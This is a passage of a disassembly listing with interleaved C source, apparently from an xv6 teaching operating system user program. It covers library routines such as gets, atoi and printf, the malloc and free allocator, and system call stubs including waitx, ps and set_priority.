44d: 75 f1 jne 440 <strchr+0x20>
return (char*)s;
return 0;
}
44f: 5d pop %ebp
450: c3 ret
451: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
458: 31 c0 xor %eax,%eax
}
45a: 5d pop %ebp
45b: c3 ret
45c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000460 <gets>:
char*
gets(char *buf, int max)
{
460: f3 0f 1e fb endbr32
464: 55 push %ebp
465: 89 e5 mov %esp,%ebp
467: 57 push %edi
468: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
469: 31 f6 xor %esi,%esi
{
46b: 53 push %ebx
46c: 89 f3 mov %esi,%ebx
46e: 83 ec 1c sub $0x1c,%esp
471: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
474: eb 33 jmp 4a9 <gets+0x49>
476: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
47d: 8d 76 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
480: 83 ec 04 sub $0x4,%esp
483: 8d 45 e7 lea -0x19(%ebp),%eax
486: 6a 01 push $0x1
488: 50 push %eax
489: 6a 00 push $0x0
48b: e8 2b 01 00 00 call 5bb <read>
if(cc < 1)
490: 83 c4 10 add $0x10,%esp
493: 85 c0 test %eax,%eax
495: 7e 1c jle 4b3 <gets+0x53>
break;
buf[i++] = c;
497: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
49b: 83 c7 01 add $0x1,%edi
49e: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
4a1: 3c 0a cmp $0xa,%al
4a3: 74 23 je 4c8 <gets+0x68>
4a5: 3c 0d cmp $0xd,%al
4a7: 74 1f je 4c8 <gets+0x68>
for(i=0; i+1 < max; ){
4a9: 83 c3 01 add $0x1,%ebx
4ac: 89 fe mov %edi,%esi
4ae: 3b 5d 0c cmp 0xc(%ebp),%ebx
4b1: 7c cd jl 480 <gets+0x20>
4b3: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
4b5: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
4b8: c6 03 00 movb $0x0,(%ebx)
}
4bb: 8d 65 f4 lea -0xc(%ebp),%esp
4be: 5b pop %ebx
4bf: 5e pop %esi
4c0: 5f pop %edi
4c1: 5d pop %ebp
4c2: c3 ret
4c3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
4c7: 90 nop
4c8: 8b 75 08 mov 0x8(%ebp),%esi
4cb: 8b 45 08 mov 0x8(%ebp),%eax
4ce: 01 de add %ebx,%esi
4d0: 89 f3 mov %esi,%ebx
buf[i] = '\0';
4d2: c6 03 00 movb $0x0,(%ebx)
}
4d5: 8d 65 f4 lea -0xc(%ebp),%esp
4d8: 5b pop %ebx
4d9: 5e pop %esi
4da: 5f pop %edi
4db: 5d pop %ebp
4dc: c3 ret
4dd: 8d 76 00 lea 0x0(%esi),%esi
000004e0 <stat>:
int
stat(const char *n, struct stat *st)
{
4e0: f3 0f 1e fb endbr32
4e4: 55 push %ebp
4e5: 89 e5 mov %esp,%ebp
4e7: 56 push %esi
4e8: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
4e9: 83 ec 08 sub $0x8,%esp
4ec: 6a 00 push $0x0
4ee: ff 75 08 pushl 0x8(%ebp)
4f1: e8 ed 00 00 00 call 5e3 <open>
if(fd < 0)
4f6: 83 c4 10 add $0x10,%esp
4f9: 85 c0 test %eax,%eax
4fb: 78 2b js 528 <stat+0x48>
return -1;
r = fstat(fd, st);
4fd: 83 ec 08 sub $0x8,%esp
500: ff 75 0c pushl 0xc(%ebp)
503: 89 c3 mov %eax,%ebx
505: 50 push %eax
506: e8 f0 00 00 00 call 5fb <fstat>
close(fd);
50b: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
50e: 89 c6 mov %eax,%esi
close(fd);
510: e8 b6 00 00 00 call 5cb <close>
return r;
515: 83 c4 10 add $0x10,%esp
}
518: 8d 65 f8 lea -0x8(%ebp),%esp
51b: 89 f0 mov %esi,%eax
51d: 5b pop %ebx
51e: 5e pop %esi
51f: 5d pop %ebp
520: c3 ret
521: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
528: be ff ff ff ff mov $0xffffffff,%esi
52d: eb e9 jmp 518 <stat+0x38>
52f: 90 nop
00000530 <atoi>:
int
atoi(const char *s)
{
530: f3 0f 1e fb endbr32
534: 55 push %ebp
535: 89 e5 mov %esp,%ebp
537: 53 push %ebx
538: 8b 55 08 mov 0x8(%ebp),%edx
int n;
n = 0;
while('0' <= *s && *s <= '9')
53b: 0f be 02 movsbl (%edx),%eax
53e: 8d 48 d0 lea -0x30(%eax),%ecx
541: 80 f9 09 cmp $0x9,%cl
n = 0;
544: b9 00 00 00 00 mov $0x0,%ecx
while('0' <= *s && *s <= '9')
549: 77 1a ja 565 <atoi+0x35>
54b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
54f: 90 nop
n = n*10 + *s++ - '0';
550: 83 c2 01 add $0x1,%edx
553: 8d 0c 89 lea (%ecx,%ecx,4),%ecx
556: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx
while('0' <= *s && *s <= '9')
55a: 0f be 02 movsbl (%edx),%eax
55d: 8d 58 d0 lea -0x30(%eax),%ebx
560: 80 fb 09 cmp $0x9,%bl
563: 76 eb jbe 550 <atoi+0x20>
return n;
}
565: 89 c8 mov %ecx,%eax
567: 5b pop %ebx
568: 5d pop %ebp
569: c3 ret
56a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000570 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
570: f3 0f 1e fb endbr32
574: 55 push %ebp
575: 89 e5 mov %esp,%ebp
577: 57 push %edi
578: 8b 45 10 mov 0x10(%ebp),%eax
57b: 8b 55 08 mov 0x8(%ebp),%edx
57e: 56 push %esi
57f: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
582: 85 c0 test %eax,%eax
584: 7e 0f jle 595 <memmove+0x25>
586: 01 d0 add %edx,%eax
dst = vdst;
588: 89 d7 mov %edx,%edi
58a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
*dst++ = *src++;
590: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
591: 39 f8 cmp %edi,%eax
593: 75 fb jne 590 <memmove+0x20>
return vdst;
}
595: 5e pop %esi
596: 89 d0 mov %edx,%eax
598: 5f pop %edi
599: 5d pop %ebp
59a: c3 ret
0000059b <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
59b: b8 01 00 00 00 mov $0x1,%eax
5a0: cd 40 int $0x40
5a2: c3 ret
000005a3 <exit>:
SYSCALL(exit)
5a3: b8 02 00 00 00 mov $0x2,%eax
5a8: cd 40 int $0x40
5aa: c3 ret
000005ab <wait>:
SYSCALL(wait)
5ab: b8 03 00 00 00 mov $0x3,%eax
5b0: cd 40 int $0x40
5b2: c3 ret
000005b3 <pipe>:
SYSCALL(pipe)
5b3: b8 04 00 00 00 mov $0x4,%eax
5b8: cd 40 int $0x40
5ba: c3 ret
000005bb <read>:
SYSCALL(read)
5bb: b8 05 00 00 00 mov $0x5,%eax
5c0: cd 40 int $0x40
5c2: c3 ret
000005c3 <write>:
SYSCALL(write)
5c3: b8 10 00 00 00 mov $0x10,%eax
5c8: cd 40 int $0x40
5ca: c3 ret
000005cb <close>:
SYSCALL(close)
5cb: b8 15 00 00 00 mov $0x15,%eax
5d0: cd 40 int $0x40
5d2: c3 ret
000005d3 <kill>:
SYSCALL(kill)
5d3: b8 06 00 00 00 mov $0x6,%eax
5d8: cd 40 int $0x40
5da: c3 ret
000005db <exec>:
SYSCALL(exec)
5db: b8 07 00 00 00 mov $0x7,%eax
5e0: cd 40 int $0x40
5e2: c3 ret
000005e3 <open>:
SYSCALL(open)
5e3: b8 0f 00 00 00 mov $0xf,%eax
5e8: cd 40 int $0x40
5ea: c3 ret
000005eb <mknod>:
SYSCALL(mknod)
5eb: b8 11 00 00 00 mov $0x11,%eax
5f0: cd 40 int $0x40
5f2: c3 ret
000005f3 <unlink>:
SYSCALL(unlink)
5f3: b8 12 00 00 00 mov $0x12,%eax
5f8: cd 40 int $0x40
5fa: c3 ret
000005fb <fstat>:
SYSCALL(fstat)
5fb: b8 08 00 00 00 mov $0x8,%eax
600: cd 40 int $0x40
602: c3 ret
00000603 <link>:
SYSCALL(link)
603: b8 13 00 00 00 mov $0x13,%eax
608: cd 40 int $0x40
60a: c3 ret
0000060b <mkdir>:
SYSCALL(mkdir)
60b: b8 14 00 00 00 mov $0x14,%eax
610: cd 40 int $0x40
612: c3 ret
00000613 <chdir>:
SYSCALL(chdir)
613: b8 09 00 00 00 mov $0x9,%eax
618: cd 40 int $0x40
61a: c3 ret
0000061b <dup>:
SYSCALL(dup)
61b: b8 0a 00 00 00 mov $0xa,%eax
620: cd 40 int $0x40
622: c3 ret
00000623 <getpid>:
SYSCALL(getpid)
623: b8 0b 00 00 00 mov $0xb,%eax
628: cd 40 int $0x40
62a: c3 ret
0000062b <sbrk>:
SYSCALL(sbrk)
62b: b8 0c 00 00 00 mov $0xc,%eax
630: cd 40 int $0x40
632: c3 ret
00000633 <sleep>:
SYSCALL(sleep)
633: b8 0d 00 00 00 mov $0xd,%eax
638: cd 40 int $0x40
63a: c3 ret
0000063b <uptime>:
SYSCALL(uptime)
63b: b8 0e 00 00 00 mov $0xe,%eax
640: cd 40 int $0x40
642: c3 ret
00000643 <waitx>:
SYSCALL(waitx)
643: b8 16 00 00 00 mov $0x16,%eax
648: cd 40 int $0x40
64a: c3 ret
0000064b <ps>:
SYSCALL(ps)
64b: b8 17 00 00 00 mov $0x17,%eax
650: cd 40 int $0x40
652: c3 ret
00000653 <set_priority>:
653: b8 18 00 00 00 mov $0x18,%eax
658: cd 40 int $0x40
65a: c3 ret
65b: 66 90 xchg %ax,%ax
65d: 66 90 xchg %ax,%ax
65f: 90 nop
00000660 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
660: 55 push %ebp
661: 89 e5 mov %esp,%ebp
663: 57 push %edi
664: 56 push %esi
665: 53 push %ebx
666: 83 ec 3c sub $0x3c,%esp
669: 89 4d c4 mov %ecx,-0x3c(%ebp)
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
66c: 89 d1 mov %edx,%ecx
{
66e: 89 45 b8 mov %eax,-0x48(%ebp)
if(sgn && xx < 0){
671: 85 d2 test %edx,%edx
673: 0f 89 7f 00 00 00 jns 6f8 <printint+0x98>
679: f6 45 08 01 testb $0x1,0x8(%ebp)
67d: 74 79 je 6f8 <printint+0x98>
neg = 1;
67f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp)
x = -xx;
686: f7 d9 neg %ecx
} else {
x = xx;
}
i = 0;
688: 31 db xor %ebx,%ebx
68a: 8d 75 d7 lea -0x29(%ebp),%esi
68d: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
690: 89 c8 mov %ecx,%eax
692: 31 d2 xor %edx,%edx
694: 89 cf mov %ecx,%edi
696: f7 75 c4 divl -0x3c(%ebp)
699: 0f b6 92 b8 0a 00 00 movzbl 0xab8(%edx),%edx
6a0: 89 45 c0 mov %eax,-0x40(%ebp)
6a3: 89 d8 mov %ebx,%eax
6a5: 8d 5b 01 lea 0x1(%ebx),%ebx
}while((x /= base) != 0);
6a8: 8b 4d c0 mov -0x40(%ebp),%ecx
buf[i++] = digits[x % base];
6ab: 88 14 1e mov %dl,(%esi,%ebx,1)
}while((x /= base) != 0);
6ae: 39 7d c4 cmp %edi,-0x3c(%ebp)
6b1: 76 dd jbe 690 <printint+0x30>
if(neg)
6b3: 8b 4d bc mov -0x44(%ebp),%ecx
6b6: 85 c9 test %ecx,%ecx
6b8: 74 0c je 6c6 <printint+0x66>
buf[i++] = '-';
6ba: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1)
buf[i++] = digits[x % base];
6bf: 89 d8 mov %ebx,%eax
buf[i++] = '-';
6c1: ba 2d 00 00 00 mov $0x2d,%edx
while(--i >= 0)
6c6: 8b 7d b8 mov -0x48(%ebp),%edi
6c9: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
6cd: eb 07 jmp 6d6 <printint+0x76>
6cf: 90 nop
6d0: 0f b6 13 movzbl (%ebx),%edx
6d3: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
6d6: 83 ec 04 sub $0x4,%esp
6d9: 88 55 d7 mov %dl,-0x29(%ebp)
6dc: 6a 01 push $0x1
6de: 56 push %esi
6df: 57 push %edi
6e0: e8 de fe ff ff call 5c3 <write>
while(--i >= 0)
6e5: 83 c4 10 add $0x10,%esp
6e8: 39 de cmp %ebx,%esi
6ea: 75 e4 jne 6d0 <printint+0x70>
putc(fd, buf[i]);
}
6ec: 8d 65 f4 lea -0xc(%ebp),%esp
6ef: 5b pop %ebx
6f0: 5e pop %esi
6f1: 5f pop %edi
6f2: 5d pop %ebp
6f3: c3 ret
6f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
6f8: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp)
6ff: eb 87 jmp 688 <printint+0x28>
701: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
708: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
70f: 90 nop
00000710 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
710: f3 0f 1e fb endbr32
714: 55 push %ebp
715: 89 e5 mov %esp,%ebp
717: 57 push %edi
718: 56 push %esi
719: 53 push %ebx
71a: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
71d: 8b 75 0c mov 0xc(%ebp),%esi
720: 0f b6 1e movzbl (%esi),%ebx
723: 84 db test %bl,%bl
725: 0f 84 b4 00 00 00 je 7df <printf+0xcf>
ap = (uint*)(void*)&fmt + 1;
72b: 8d 45 10 lea 0x10(%ebp),%eax
72e: 83 c6 01 add $0x1,%esi
write(fd, &c, 1);
731: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
734: 31 d2 xor %edx,%edx
ap = (uint*)(void*)&fmt + 1;
736: 89 45 d0 mov %eax,-0x30(%ebp)
739: eb 33 jmp 76e <printf+0x5e>
73b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
73f: 90 nop
740: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
743: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
748: 83 f8 25 cmp $0x25,%eax
74b: 74 17 je 764 <printf+0x54>
write(fd, &c, 1);
74d: 83 ec 04 sub $0x4,%esp
750: 88 5d e7 mov %bl,-0x19(%ebp)
753: 6a 01 push $0x1
755: 57 push %edi
756: ff 75 08 pushl 0x8(%ebp)
759: e8 65 fe ff ff call 5c3 <write>
75e: 8b 55 d4 mov -0x2c(%ebp),%edx
} else {
putc(fd, c);
761: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
764: 0f b6 1e movzbl (%esi),%ebx
767: 83 c6 01 add $0x1,%esi
76a: 84 db test %bl,%bl
76c: 74 71 je 7df <printf+0xcf>
c = fmt[i] & 0xff;
76e: 0f be cb movsbl %bl,%ecx
771: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
774: 85 d2 test %edx,%edx
776: 74 c8 je 740 <printf+0x30>
}
} else if(state == '%'){
778: 83 fa 25 cmp $0x25,%edx
77b: 75 e7 jne 764 <printf+0x54>
if(c == 'd'){
77d: 83 f8 64 cmp $0x64,%eax
780: 0f 84 9a 00 00 00 je 820 <printf+0x110>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
786: 81 e1 f7 00 00 00 and $0xf7,%ecx
78c: 83 f9 70 cmp $0x70,%ecx
78f: 74 5f je 7f0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
791: 83 f8 73 cmp $0x73,%eax
794: 0f 84 d6 00 00 00 je 870 <printf+0x160>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
79a: 83 f8 63 cmp $0x63,%eax
79d: 0f 84 8d 00 00 00 je 830 <printf+0x120>
putc(fd, *ap);
ap++;
} else if(c == '%'){
7a3: 83 f8 25 cmp $0x25,%eax
7a6: 0f 84 b4 00 00 00 je 860 <printf+0x150>
write(fd, &c, 1);
7ac: 83 ec 04 sub $0x4,%esp
7af: c6 45 e7 25 movb $0x25,-0x19(%ebp)
7b3: 6a 01 push $0x1
7b5: 57 push %edi
7b6: ff 75 08 pushl 0x8(%ebp)
7b9: e8 05 fe ff ff call 5c3 <write>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
7be: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
7c1: 83 c4 0c add $0xc,%esp
7c4: 6a 01 push $0x1
7c6: 83 c6 01 add $0x1,%esi
7c9: 57 push %edi
7ca: ff 75 08 pushl 0x8(%ebp)
7cd: e8 f1 fd ff ff call 5c3 <write>
for(i = 0; fmt[i]; i++){
7d2: 0f b6 5e ff movzbl -0x1(%esi),%ebx
putc(fd, c);
7d6: 83 c4 10 add $0x10,%esp
}
state = 0;
7d9: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
7db: 84 db test %bl,%bl
7dd: 75 8f jne 76e <printf+0x5e>
}
}
}
7df: 8d 65 f4 lea -0xc(%ebp),%esp
7e2: 5b pop %ebx
7e3: 5e pop %esi
7e4: 5f pop %edi
7e5: 5d pop %ebp
7e6: c3 ret
7e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
7ee: 66 90 xchg %ax,%ax
printint(fd, *ap, 16, 0);
7f0: 83 ec 0c sub $0xc,%esp
7f3: b9 10 00 00 00 mov $0x10,%ecx
7f8: 6a 00 push $0x0
7fa: 8b 5d d0 mov -0x30(%ebp),%ebx
7fd: 8b 45 08 mov 0x8(%ebp),%eax
800: 8b 13 mov (%ebx),%edx
802: e8 59 fe ff ff call 660 <printint>
ap++;
807: 89 d8 mov %ebx,%eax
809: 83 c4 10 add $0x10,%esp
state = 0;
80c: 31 d2 xor %edx,%edx
ap++;
80e: 83 c0 04 add $0x4,%eax
811: 89 45 d0 mov %eax,-0x30(%ebp)
814: e9 4b ff ff ff jmp 764 <printf+0x54>
819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 10, 1);
820: 83 ec 0c sub $0xc,%esp
823: b9 0a 00 00 00 mov $0xa,%ecx
828: 6a 01 push $0x1
82a: eb ce jmp 7fa <printf+0xea>
82c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, *ap);
830: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
833: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
836: 8b 03 mov (%ebx),%eax
write(fd, &c, 1);
838: 6a 01 push $0x1
ap++;
83a: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
83d: 57 push %edi
83e: ff 75 08 pushl 0x8(%ebp)
putc(fd, *ap);
841: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
844: e8 7a fd ff ff call 5c3 <write>
ap++;
849: 89 5d d0 mov %ebx,-0x30(%ebp)
84c: 83 c4 10 add $0x10,%esp
state = 0;
84f: 31 d2 xor %edx,%edx
851: e9 0e ff ff ff jmp 764 <printf+0x54>
856: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
85d: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, c);
860: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
863: 83 ec 04 sub $0x4,%esp
866: e9 59 ff ff ff jmp 7c4 <printf+0xb4>
86b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
86f: 90 nop
s = (char*)*ap;
870: 8b 45 d0 mov -0x30(%ebp),%eax
873: 8b 18 mov (%eax),%ebx
ap++;
875: 83 c0 04 add $0x4,%eax
878: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
87b: 85 db test %ebx,%ebx
87d: 74 17 je 896 <printf+0x186>
while(*s != 0){
87f: 0f b6 03 movzbl (%ebx),%eax
state = 0;
882: 31 d2 xor %edx,%edx
while(*s != 0){
884: 84 c0 test %al,%al
886: 0f 84 d8 fe ff ff je 764 <printf+0x54>
88c: 89 75 d4 mov %esi,-0x2c(%ebp)
88f: 89 de mov %ebx,%esi
891: 8b 5d 08 mov 0x8(%ebp),%ebx
894: eb 1a jmp 8b0 <printf+0x1a0>
s = "(null)";
896: bb ae 0a 00 00 mov $0xaae,%ebx
while(*s != 0){
89b: 89 75 d4 mov %esi,-0x2c(%ebp)
89e: b8 28 00 00 00 mov $0x28,%eax
8a3: 89 de mov %ebx,%esi
8a5: 8b 5d 08 mov 0x8(%ebp),%ebx
8a8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8af: 90 nop
write(fd, &c, 1);
8b0: 83 ec 04 sub $0x4,%esp
s++;
8b3: 83 c6 01 add $0x1,%esi
8b6: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
8b9: 6a 01 push $0x1
8bb: 57 push %edi
8bc: 53 push %ebx
8bd: e8 01 fd ff ff call 5c3 <write>
while(*s != 0){
8c2: 0f b6 06 movzbl (%esi),%eax
8c5: 83 c4 10 add $0x10,%esp
8c8: 84 c0 test %al,%al
8ca: 75 e4 jne 8b0 <printf+0x1a0>
8cc: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
8cf: 31 d2 xor %edx,%edx
8d1: e9 8e fe ff ff jmp 764 <printf+0x54>
8d6: 66 90 xchg %ax,%ax
8d8: 66 90 xchg %ax,%ax
8da: 66 90 xchg %ax,%ax
8dc: 66 90 xchg %ax,%ax
8de: 66 90 xchg %ax,%ax
000008e0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
8e0: f3 0f 1e fb endbr32
8e4: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8e5: a1 60 0e 00 00 mov 0xe60,%eax
{
8ea: 89 e5 mov %esp,%ebp
8ec: 57 push %edi
8ed: 56 push %esi
8ee: 53 push %ebx
8ef: 8b 5d 08 mov 0x8(%ebp),%ebx
8f2: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
8f4: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8f7: 39 c8 cmp %ecx,%eax
8f9: 73 15 jae 910 <free+0x30>
8fb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8ff: 90 nop
900: 39 d1 cmp %edx,%ecx
902: 72 14 jb 918 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
904: 39 d0 cmp %edx,%eax
906: 73 10 jae 918 <free+0x38>
{
908: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
90a: 8b 10 mov (%eax),%edx
90c: 39 c8 cmp %ecx,%eax
90e: 72 f0 jb 900 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
910: 39 d0 cmp %edx,%eax
912: 72 f4 jb 908 <free+0x28>
914: 39 d1 cmp %edx,%ecx
916: 73 f0 jae 908 <free+0x28>
break;
if(bp + bp->s.size == p->s.ptr){
918: 8b 73 fc mov -0x4(%ebx),%esi
91b: 8d 3c f1 lea (%ecx,%esi,8),%edi
91e: 39 fa cmp %edi,%edx
920: 74 1e je 940 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
922: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
925: 8b 50 04 mov 0x4(%eax),%edx
928: 8d 34 d0 lea (%eax,%edx,8),%esi
92b: 39 f1 cmp %esi,%ecx
92d: 74 28 je 957 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
92f: 89 08 mov %ecx,(%eax)
freep = p;
}
931: 5b pop %ebx
freep = p;
932: a3 60 0e 00 00 mov %eax,0xe60
}
937: 5e pop %esi
938: 5f pop %edi
939: 5d pop %ebp
93a: c3 ret
93b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
93f: 90 nop
bp->s.size += p->s.ptr->s.size;
940: 03 72 04 add 0x4(%edx),%esi
943: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
946: 8b 10 mov (%eax),%edx
948: 8b 12 mov (%edx),%edx
94a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
94d: 8b 50 04 mov 0x4(%eax),%edx
950: 8d 34 d0 lea (%eax,%edx,8),%esi
953: 39 f1 cmp %esi,%ecx
955: 75 d8 jne 92f <free+0x4f>
p->s.size += bp->s.size;
957: 03 53 fc add -0x4(%ebx),%edx
freep = p;
95a: a3 60 0e 00 00 mov %eax,0xe60
p->s.size += bp->s.size;
95f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
962: 8b 53 f8 mov -0x8(%ebx),%edx
965: 89 10 mov %edx,(%eax)
}
967: 5b pop %ebx
968: 5e pop %esi
969: 5f pop %edi
96a: 5d pop %ebp
96b: c3 ret
96c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000970 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
970: f3 0f 1e fb endbr32
974: 55 push %ebp
975: 89 e5 mov %esp,%ebp
977: 57 push %edi
978: 56 push %esi
979: 53 push %ebx
97a: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
97d: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
980: 8b 3d 60 0e 00 00 mov 0xe60,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
986: 8d 70 07 lea 0x7(%eax),%esi
989: c1 ee 03 shr $0x3,%esi
98c: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
98f: 85 ff test %edi,%edi
991: 0f 84 a9 00 00 00 je a40 <malloc+0xd0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
997: 8b 07 mov (%edi),%eax
if(p->s.size >= nunits){
999: 8b 48 04 mov 0x4(%eax),%ecx
99c: 39 f1 cmp %esi,%ecx
99e: 73 6d jae a0d <malloc+0x9d>
9a0: 81 fe 00 10 00 00 cmp $0x1000,%esi
9a6: bb 00 10 00 00 mov $0x1000,%ebx
9ab: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
9ae: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx
9b5: 89 4d e4 mov %ecx,-0x1c(%ebp)
9b8: eb 17 jmp 9d1 <malloc+0x61>
9ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
9c0: 8b 10 mov (%eax),%edx
if(p->s.size >= nunits){
9c2: 8b 4a 04 mov 0x4(%edx),%ecx
9c5: 39 f1 cmp %esi,%ecx
9c7: 73 4f jae a18 <malloc+0xa8>
9c9: 8b 3d 60 0e 00 00 mov 0xe60,%edi
9cf: 89 d0 mov %edx,%eax
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
9d1: 39 c7 cmp %eax,%edi
9d3: 75 eb jne 9c0 <malloc+0x50>
p = sbrk(nu * sizeof(Header));
9d5: 83 ec 0c sub $0xc,%esp
9d8: ff 75 e4 pushl -0x1c(%ebp)
9db: e8 4b fc ff ff call 62b <sbrk>
if(p == (char*)-1)
9e0: 83 c4 10 add $0x10,%esp
9e3: 83 f8 ff cmp $0xffffffff,%eax
9e6: 74 1b je a03 <malloc+0x93>
hp->s.size = nu;
9e8: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
9eb: 83 ec 0c sub $0xc,%esp
9ee: 83 c0 08 add $0x8,%eax
9f1: 50 push %eax
9f2: e8 e9 fe ff ff call 8e0 <free>
return freep;
9f7: a1 60 0e 00 00 mov 0xe60,%eax
if((p = morecore(nunits)) == 0)
9fc: 83 c4 10 add $0x10,%esp
9ff: 85 c0 test %eax,%eax
a01: 75 bd jne 9c0 <malloc+0x50>
return 0;
}
}
a03: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
a06: 31 c0 xor %eax,%eax
}
a08: 5b pop %ebx
a09: 5e pop %esi
a0a: 5f pop %edi
a0b: 5d pop %ebp
a0c: c3 ret
if(p->s.size >= nunits){
a0d: 89 c2 mov %eax,%edx
a0f: 89 f8 mov %edi,%eax
a11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
a18: 39 ce cmp %ecx,%esi
a1a: 74 54 je a70 <malloc+0x100>
p->s.size -= nunits;
